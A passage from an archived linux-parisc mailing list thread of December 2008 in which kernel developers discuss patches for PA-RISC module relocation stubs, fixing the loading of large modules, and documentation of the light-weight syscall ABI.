@@ -610,13 +664,17 @@ int apply_relocate_add(Elf_Shdr *sechdrs,
 	Elf64_Addr val;
 	Elf64_Sxword addend;
 	Elf64_Addr dot;
+	Elf_Addr loc0;
+	unsigned int targetsec = sechdrs[relsec].sh_info;
 
 	DEBUGP("Applying relocate section %u to %u\n", relsec,
-	       sechdrs[relsec].sh_info);
+	       targetsec);
 	for (i = 0; i < sechdrs[relsec].sh_size / sizeof(*rel); i++) {
 		/* This is where to make the change */
-		loc = (void *)sechdrs[sechdrs[relsec].sh_info].sh_addr
+		loc = (void *)sechdrs[targetsec].sh_addr
 		      + rel[i].r_offset;
+		/* This is the start of the target section */
+		loc0 = sechdrs[targetsec].sh_addr;
 		/* This is the symbol it is referring to */
 		sym = (Elf64_Sym *)sechdrs[symindex].sh_addr
 			+ ELF64_R_SYM(rel[i].r_info);
@@ -672,42 +730,40 @@ int apply_relocate_add(Elf_Shdr *sechdrs,
 			DEBUGP("PCREL22F Symbol %s loc %p val %lx\n",
 			       strtab + sym->st_name,
 			       loc, val);
+			val += addend;
 			/* can we reach it locally? */
-			if(!in_local_section(me, (void *)val, (void *)dot)) {
-
-				if (in_local(me, (void *)val))
-					/* this is the case where the
-					 * symbol is local to the
-					 * module, but in a different
-					 * section, so stub the jump
-					 * in case it's more than 22
-					 * bits away */
-					val = get_stub(me, val, addend, ELF_STUB_DIRECT,
-						       in_init(me, loc));
-				else if (strncmp(strtab + sym->st_name, "$$", 2)
+			if (in_local(me, (void *)val)) {
+				/* this is the case where the symbol is local
+				 * to the module, but in a different section,
+				 * so stub the jump in case it's more than 22
+				 * bits away */
+				val = (val - dot - 8)/4;
+				if (!RELOC_REACHABLE(val, 22)) {
+					/* direct distance too far, create
+					 * stub entry instead */
+					val = get_stub(me, sym->st_value,
+						addend, ELF_STUB_DIRECT,
+						loc0, targetsec);
+				} else {
+					/* Ok, we can reach it directly. */
+					val = sym->st_value;
+					val += addend;
+				}
+			} else {
+				val = sym->st_value;
+				if (strncmp(strtab + sym->st_name, "$$", 2)
 				    == 0)
 					val = get_stub(me, val, addend, ELF_STUB_MILLI,
-						       in_init(me, loc));
+						       loc0, targetsec);
 				else
 					val = get_stub(me, val, addend, ELF_STUB_GOT,
-						       in_init(me, loc));
+						       loc0, targetsec);
 			}
 			DEBUGP("STUB FOR %s loc %lx, val %lx+%lx at %lx\n", 
 			       strtab + sym->st_name, loc, sym->st_value,
 			       addend, val);
-			/* FIXME: local symbols work as long as the
-			 * core and init pieces aren't separated too
-			 * far.  If this is ever broken, you will trip
-			 * the check below.  The way to fix it would
-			 * be to generate local stubs to go between init
-			 * and core */
-			if((Elf64_Sxword)(val - dot - 8) > 0x800000 -1 ||
-			   (Elf64_Sxword)(val - dot - 8) < -0x800000) {
-				printk(KERN_ERR "Module %s, symbol %s is out of range for PCREL22F relocation\n",
-				       me->name, strtab + sym->st_name);
-				return -ENOEXEC;
-			}
 			val = (val - dot - 8)/4;
+			CHECK_RELOC(val, 22);
 			*loc = (*loc & ~0x3ff1ffd) | reassemble_22(val);
 			break;
 		case R_PARISC_DIR64:
@@ -794,12 +850,8 @@ int module_finalize(const Elf_Ehdr *hdr,
 	addr = (u32 *)entry->addr;
 	printk("INSNS: %x %x %x %x\n",
 	       addr[0], addr[1], addr[2], addr[3]);
-	printk("stubs used %ld, stubs max %ld\n"
-	       "init_stubs used %ld, init stubs max %ld\n"
-	       "got entries used %ld, gots max %ld\n"
+	printk("got entries used %ld, gots max %ld\n"
 	       "fdescs used %ld, fdescs max %ld\n",
-	       me->arch.stub_count, me->arch.stub_max,
-	       me->arch.init_stub_count, me->arch.init_stub_max,
 	       me->arch.got_count, me->arch.got_max,
 	       me->arch.fdesc_count, me->arch.fdesc_max);
 #endif
@@ -829,7 +881,10 @@ int module_finalize(const Elf_Ehdr *hdr,
 				me->name, me->arch.got_count, MAX_GOTS);
 		return -EINVAL;
 	}
-	
+
+	kfree(me->arch.section);
+	me->arch.section = NULL;
+
 	/* no symbol table */
 	if(symhdr == NULL)
 		return 0;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Document LWS ABI.
Date: Mon, 29 Dec 2008 22:47:38 +0100
Lines: 194
Approved: news@gmane.org
Message-ID: <4959457A.4060709@gmx.de>
References: <20080716030552.766ED4E77@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------070908010606010208060901"
X-Trace: ger.gmane.org 1230587282 32233 80.91.229.12 (29 Dec 2008 21:48:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 29 Dec 2008 21:48:02 +0000 (UTC)
To: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Carlos O'Donell <carlos@systemhalted.org>,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 29 22:49:08 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LHPyy-0002Pt-Ng
	for glpp-linux-parisc@gmane.org; Mon, 29 Dec 2008 22:49:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753126AbYL2Vri (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Dec 2008 16:47:38 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753280AbYL2Vri
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 29 Dec 2008 16:47:38 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:38069 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753126AbYL2Vrh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Dec 2008 16:47:37 -0500
Original-Received: (qmail invoked by alias); 29 Dec 2008 21:47:35 -0000
Original-Received: from mnhm-590f7eb1.pool.einsundeins.de (EHLO halden.box) [89.15.126.177]
  by mail.gmx.net (mp002) with SMTP; 29 Dec 2008 22:47:35 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19ARXJzAqlAfXY8bneQCVBTWEIDqW3FRGEv4N6wf9
	+WOo/zPg1d6k+v
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20080716030552.766ED4E77@hiauly1.hia.nrc.ca>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1049
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1049>

This is a multi-part message in MIME format.
--------------070908010606010208060901
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

Carlos, Dave,

This patch hasn't been finally discussed (and merged) yet.
I've attached the last version of the patch from Carlos, that way it get 
archived in Kyle's Patchwork as well :-)

My personal opinion is, that we should try to reduce the number of clobbered 
registers (which is in line with what Dave said below).

Thread is here:
http://marc.info/?t=121612540800004&r=1&w=2

Helge

John David Anglin wrote:
>> The question is "Are you OK with the existing ABI?" :-)
> 
> No.  As I understand it, r2 doesn't need to be clobbered because
> glibc doesn't currently clobber it.  So, using it in the LWS code
> would cause an ABI break.  That's one register back to userspace.
> 
> I want to keep r19 and r27 for userspace so the PIC register doesn't
> have to be saved and restored in the asm (linux-atomic.c is compiled
> as PIC code).  You can have r29.
> 
> That leaves three free registers for the LWS code: r22, r23 and r29.
> The LWS ABI has r1, r20-r26 and r28-r31.  Userspace has two call-clobbered
> registers free across the asm in PIC code, and three in non-PIC code.
> That's enough to efficiently perform the error comparisons.
> 
> The asm would be more efficient if the registers used for lws_mem,
> lws_old and lws_new were not written to.  This occurs only for the
> call in the 32-bit runtime with a 64-bit kernel.  As it stands,
> the lws_mem, lws_old and lws_new arguments get reloaded every time
> around the EAGAIN loop.  This is the crucial code in the compare
> and swap:
> 
>         /* The load and store could fail */
> 1:      ldw     0(%sr3,%r26), %r28
> 	sub,<>  %r28, %r25, %r0
> 2:      stw     %r24, 0(%sr3,%r26)
> 
> The sub,<> instruction uses a 32-bit compare/subtract condition, so
> the clipping of r25 isn't necessary.  Similarly, the stw instruction
> ignores the most significant 32-bits of r24.  The value in r26 needs
> clipping but you have three free registers, and it looks like r1 is
> also free at this point in the code.  You can deposit the least
> significant 32-bits of r26 into a field of zeros in another register
> in one instruction.
> 
> It looks like lws_compare_and_swap64 and lws_compare_and_swap32 become
> more or less functionally identical.  The above would become something
> like:
> 
> #ifdef CONFIG_64BIT
> 	depd,z	%r26,63,32,%r1
> 1:      ldw     0(%sr3,%r1), %r28
>         sub,<>  %r28, %r25, %r0
> 2:      stw     %r24, 0(%sr3,%r1)
> #else
> 1:      ldw     0(%sr3,%r26), %r28
>         sub,<>  %r28, %r25, %r0
> 2:      stw     %r24, 0(%sr3,%r26)
> #endif
> 
> The argument clipping in the current code would be removed.  As a result,
> the branch to lws_compare_and_swap can be eliminated in the 64-bit path.
> 
> It's my impression that the tightness of the loop for the compare/exchange
> operation is important.
> 
> Dave


--------------070908010606010208060901
Content-Type: text/x-patch;
 name="syscall.S.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="syscall.S.diff"

[PARISC] Document LWS ABI and LWS cleanups.

Document the LWS ABI including implementation notes for
userspace, and comment cleanup.

Remove extraneous .align 16 after lws_lock_start.

Signed-off-by: Carlos O'Donell <carlos@systemhalted.org>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 69b6eeb..3fc73ad 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -365,17 +365,51 @@ tracesys_sigexit:
 
 
 	/*********************************************************
-		Light-weight-syscall code
+		32/64-bit Light-Weight-Syscall ABI
 
-		r20 - lws number
-		r26,r25,r24,r23,r22 - Input registers
-		r28 - Function return register
-		r21 - Error code.
+		* - Indicates a hint for userspace inline asm
+		implementations.
 
-		Scracth: Any of the above that aren't being
-		currently used, including r1. 
+		Syscall number (caller-saves)
+	        - %r20
+	        * In asm clobber.
 
-		Return pointer: r31 (Not usable)
+		Argument registers (caller-saves)
+	        - %r26, %r25, %r24, %r23, %r22
+	        * In asm input.
+
+		Return registers (caller-saves)
+	        - %r28 (return), %r21 (errno)
+	        * In asm output.
+
+		Caller-saves registers
+	        - %r1, %r27, %r29
+	        - %r2 (return pointer)
+	        - %r31 (ble link register)
+	        * In asm clobber.
+
+		Callee-saves registers
+	        - %r3-%r18
+	        - %r30 (stack pointer)
+	        * Not in asm clobber.
+
+		If userspace is 32-bit:
+		Callee-saves registers
+	        - %r19 (32-bit PIC register)
+
+		Differences from 32-bit calling convention:
+		- Syscall number in %r20
+		- Additional argument register %r22 (arg4)
+		- Callee-saves %r19.
+
+		If userspace is 64-bit:
+		Callee-saves registers
+		- %r27 (64-bit PIC register)
+
+		Differences from 64-bit calling convention:
+		- Syscall number in %r20
+		- Additional argument register %r22 (arg4)
+		- Callee-saves %r27.
 
 		Error codes returned by entry path:
 
@@ -473,7 +507,8 @@ lws_compare_and_swap64:
 	b,n	lws_compare_and_swap
 #else
 	/* If we are not a 64-bit kernel, then we don't
-	 * implement having 64-bit input registers
+	 * have 64-bit input registers, and calling
+	 * the 64-bit LWS CAS returns ENOSYS.
 	 */
 	b,n	lws_exit_nosys
 #endif
@@ -635,12 +670,15 @@ END(sys_call_table64)
 	/*
 		All light-weight-syscall atomic operations 
 		will use this set of locks 
+
+		NOTE: The lws_lock_start symbol must be 
+		at least 16-byte aligned for safe use
+		with ldcw.
 	*/
 	.section .data
 	.align	PAGE_SIZE
 ENTRY(lws_lock_start)
 	/* lws locks */
-	.align 16
 	.rept 16
 	/* Keep locks aligned at 16-bytes */
 	.word 1

--------------070908010606010208060901--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 1/2] module.c: fix module loading failure of large
	modules (take 2)
Date: Tue, 30 Dec 2008 13:10:32 -0500
Lines: 96
Approved: news@gmane.org
Message-ID: <20081230181032.GB15235@bombadil.infradead.org>
References: <4959346E.7060600@gmx.de> <49593660.2010900@gmx.de> <20081230180724.GA15235@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230660646 14988 80.91.229.12 (30 Dec 2008 18:10:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Dec 2008 18:10:46 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Linus <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	rusty@rustcorp.com.au
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 30 19:11:52 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LHj4K-0000kg-1o
	for glpp-linux-parisc@gmane.org; Tue, 30 Dec 2008 19:11:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752210AbYL3SKf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 30 Dec 2008 13:10:35 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752189AbYL3SKf
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 30 Dec 2008 13:10:35 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:55764 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752032AbYL3SKe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 30 Dec 2008 13:10:34 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LHj33-0005um-0M; Tue, 30 Dec 2008 18:10:33 +0000
Content-Disposition: inline
In-Reply-To: <20081230180724.GA15235@bombadil.infradead.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1050 gmane.linux.kernel:773703
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1050>

Ugh, I fail at typing, resending for rusty's benefit.

On Tue, Dec 30, 2008 at 01:07:24PM -0500, Kyle McMartin wrote:
> [Adding rusty to CC]
> 
> On Mon, Dec 29, 2008 at 09:43:12PM +0100, Helge Deller wrote:
> > +unsigned long module_additional_section_size(struct module *mod,
> > +					     unsigned int section);
> > +
> 
> I think this would be more palatable as
> 
> #ifdef HAVE_MODULE_SECTION_STUBS
> unsigned long module_additional_section_size(struct module *mod,
> 	unsigned int section);
> #else
> static inline unsigned long module_additional_section_size(struct module *mod,
> 	unsigned int section)
> {
> 	return 0;
> }
> #endif
> 
> and removing the conditional in kernel/module.c, possibly the symbol
> should be "arch_module_a..." just to make it clear to anyone reading.
> 
> Anyway, it's up to rusty.
> 
> Rusty, we'd like to get this patch in, so I can merge the dependent
> parisc-specific patch.
> 
> regards, Kyle
> 
> >  /* Allocator used for allocating struct module, core sections and init
> >     sections.  Returns NULL on failure. */
> >  void *module_alloc(unsigned long size);
> > diff --git a/init/Kconfig b/init/Kconfig
> > index f763762..5383815 100644
> > --- a/init/Kconfig
> > +++ b/init/Kconfig
> > @@ -908,6 +908,9 @@ config MODULE_SRCVERSION_ALL
> >  	  the version).  With this option, such a "srcversion" field
> >  	  will be created for all modules.  If unsure, say N.
> >  
> > +config HAVE_MODULE_SECTION_STUBS
> > +	bool
> > +
> >  config KMOD
> >  	def_bool y
> >  	help
> > diff --git a/kernel/module.c b/kernel/module.c
> > index 1f4cc00..4b86308 100644
> > --- a/kernel/module.c
> > +++ b/kernel/module.c
> > @@ -1579,10 +1579,15 @@ static int simplify_symbols(Elf_Shdr *sechdrs,
> >  }
> >  
> >  /* Update size with this section: return offset. */
> > -static long get_offset(unsigned int *size, Elf_Shdr *sechdr)
> > +static long get_offset(struct module *mod, unsigned int *size,
> > +		Elf_Shdr *sechdr, unsigned int section)
> >  {
> >  	long ret;
> >  
> > +#ifdef CONFIG_HAVE_MODULE_SECTION_STUBS
> > +	/* allocate some memory for stubs in front of each section */
> > +	*size += module_additional_section_size(mod, section);
> > +#endif
> >  	ret = ALIGN(*size, sechdr->sh_addralign ?: 1);
> >  	*size = ret + sechdr->sh_size;
> >  	return ret;
> > @@ -1622,7 +1627,7 @@ static void layout_sections(struct module *mod,
> >  			    || strncmp(secstrings + s->sh_name,
> >  				       ".init", 5) == 0)
> >  				continue;
> > -			s->sh_entsize = get_offset(&mod->core_size, s);
> > +			s->sh_entsize = get_offset(mod, &mod->core_size, s, i);
> >  			DEBUGP("\t%s\n", secstrings + s->sh_name);
> >  		}
> >  		if (m == 0)
> > @@ -1640,7 +1645,7 @@ static void layout_sections(struct module *mod,
> >  			    || strncmp(secstrings + s->sh_name,
> >  				       ".init", 5) != 0)
> >  				continue;
> > -			s->sh_entsize = (get_offset(&mod->init_size, s)
> > +			s->sh_entsize = (get_offset(mod, &mod->init_size, s, i)
> >  					 | INIT_OFFSET_MASK);
> >  			DEBUGP("\t%s\n", secstrings + s->sh_name);
> >  		}
> > 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 1/2] module.c: fix module loading failure of large	modules
 (take 2)
Date: Tue, 30 Dec 2008 19:18:23 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <495A65EF.5050406@gmx.de>
References: <4959346E.7060600@gmx.de> <49593660.2010900@gmx.de> <20081230180724.GA15235@bombadil.infradead.org> <20081230181032.GB15235@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230661130 16304 80.91.229.12 (30 Dec 2008 18:18:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Dec 2008 18:18:50 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Linus <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	rusty@rustcorp.com.au
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 30 19:19:56 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LHjBx-0003Iq-CI
	for glpp-linux-parisc@gmane.org; Tue, 30 Dec 2008 19:19:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752037AbYL3SS3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 30 Dec 2008 13:18:29 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752073AbYL3SS2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 30 Dec 2008 13:18:28 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:52937 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752005AbYL3SS1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 30 Dec 2008 13:18:27 -0500
Original-Received: (qmail invoked by alias); 30 Dec 2008 18:18:25 -0000
Original-Received: from mnhm-590f79dd.pool.einsundeins.de (EHLO halden.box) [89.15.121.221]
  by mail.gmx.net (mp065) with SMTP; 30 Dec 2008 19:18:25 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX194ET9/RDd4LfYbKw3xlnfspTjgCOX4WOcOLN9CXx
	FRXMQPc8ADzKet
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20081230181032.GB15235@bombadil.infradead.org>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5600000000000001
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1051 gmane.linux.kernel:773707
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1051>

Kyle McMartin wrote:
> Ugh, I fail at typing, resending for rusty's benefit.
> 
> On Tue, Dec 30, 2008 at 01:07:24PM -0500, Kyle McMartin wrote:
>> [Adding rusty to CC]
>>
>> On Mon, Dec 29, 2008 at 09:43:12PM +0100, Helge Deller wrote:
>>> +unsigned long module_additional_section_size(struct module *mod,
>>> +					     unsigned int section);
>>> +
>> I think this would be more palatable as
>>
>> #ifdef HAVE_MODULE_SECTION_STUBS
>> unsigned long module_additional_section_size(struct module *mod,
>> 	unsigned int section);
>> #else
>> static inline unsigned long module_additional_section_size(struct module *mod,
>> 	unsigned int section)
>> {
>> 	return 0;
>> }
>> #endif
>>
>> and removing the conditional in kernel/module.c, possibly the symbol
>> should be "arch_module_a..." just to make it clear to anyone reading.
>>
>> Anyway, it's up to rusty.
>>
>> Rusty, we'd like to get this patch in, so I can merge the dependent
>> parisc-specific patch.

Rusty, I think I've a cleaner patch for that and will send it soon...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 1/2] module.c: fix module loading failure of large modules
 (take 3)
Date: Tue, 30 Dec 2008 20:42:17 +0100
Lines: 172
Approved: news@gmane.org
Message-ID: <495A7999.2090306@gmx.de>
References: <4959346E.7060600@gmx.de> <49593660.2010900@gmx.de> <20081230180724.GA15235@bombadil.infradead.org> <20081230181032.GB15235@bombadil.infradead.org> <495A65EF.5050406@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230666157 31559 80.91.229.12 (30 Dec 2008 19:42:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Dec 2008 19:42:37 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Linus <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Kyle McMartin <kyle@infradead.org>, rusty@rustcorp.com.au
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 30 20:43:41 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LHkV4-00054P-7h
	for glpp-linux-parisc@gmane.org; Tue, 30 Dec 2008 20:43:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751997AbYL3TmR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 30 Dec 2008 14:42:17 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752189AbYL3TmR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 30 Dec 2008 14:42:17 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:51077 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751997AbYL3TmQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 30 Dec 2008 14:42:16 -0500
Original-Received: (qmail invoked by alias); 30 Dec 2008 19:42:14 -0000
Original-Received: from mnhm-590f79dd.pool.einsundeins.de (EHLO halden.box) [89.15.121.221]
  by mail.gmx.net (mp042) with SMTP; 30 Dec 2008 20:42:14 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+EI1BJ7UaEU33i0GDMOz8A86fqq4HvTJWMInrKJX
	XhUQEF+sXaAMu0
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <495A65EF.5050406@gmx.de>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.42
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1052 gmane.linux.kernel:773717
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1052>

Helge Deller wrote:
> Kyle McMartin wrote:
>>> Anyway, it's up to rusty.
>>>
>>> Rusty, we'd like to get this patch in, so I can merge the dependent
>>> parisc-specific patch.

Rusty,

While my initial patch (http://lkml.org/lkml/2008/12/29/274) added a
new CONFIG option and an optional callback function, this version instead
reuses the ElfHdr.sh_entsize field to tell the layout function how many
bytes to reserve.
It seems that only the IA64 module loader is affected by that change,
so the trivial patch for IA64 is below as well.
Other architectures use the sh_entsize field as well, but only for
bootloaders (x86, mips) or for special purpose loaders (powerpc cell),
but not for kernel modules. So the patch below should be pretty safe.

Personally I prefer this patch, but if you think my initial patch is
better, I'd be happy as well.


 arch/ia64/kernel/module.c |    4 +++-
 kernel/module.c           |   37 ++++++++++++++++++++-----------------
 2 files changed, 23 insertions(+), 18 deletions(-)


[PATCH 1/2] module.c: fix module loading failure of large modules (take 3)

When creating the final layout of a kernel module in memory, allow the
module loader to reserve some additional memory in front of a given section.
The amount of to-be allocated memory is returned by the architecture's
module_frob_arch_sections() function in the sechdrs.sh_entsize field.
By default this field is initialized by the module loader to zero.
Additional memory in front of code sections is currently only needed 
for the parisc port which needs to put the stub entries there to fulfill
the 17/22bit PCREL relocations with large kernel modules like xfs.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/ia64/kernel/module.c b/arch/ia64/kernel/module.c
index aaa7d90..5bd35f1 100644
--- a/arch/ia64/kernel/module.c
+++ b/arch/ia64/kernel/module.c
@@ -53,6 +53,8 @@
 
 #define MAX_LTOFF	((uint64_t) (1 << 22))	/* max. allowable linkage-table offset */
 
+#define INIT_LAYOUT_MASK (1UL << (BITS_PER_LONG-1))
+
 /* Define some relocation helper macros/types: */
 
 #define FORMAT_SHIFT	0
@@ -804,7 +806,7 @@ apply_relocate_add (Elf64_Shdr *sechdrs, const char *strtab, unsigned int symind
 
 	target_sec = sechdrs + sechdrs[relsec].sh_info;
 
-	if (target_sec->sh_entsize == ~0UL)
+	if (!(target_sec->sh_entsize & INIT_LAYOUT_MASK))
 		/*
 		 * If target section wasn't allocated, we don't need to relocate it.
 		 * Happens, e.g., for debug sections.
diff --git a/kernel/module.c b/kernel/module.c
index 1f4cc00..a09174d 100644
--- a/kernel/module.c
+++ b/kernel/module.c
@@ -62,8 +62,9 @@
 #define ARCH_SHF_SMALL 0
 #endif
 
-/* If this is set, the section belongs in the init part of the module */
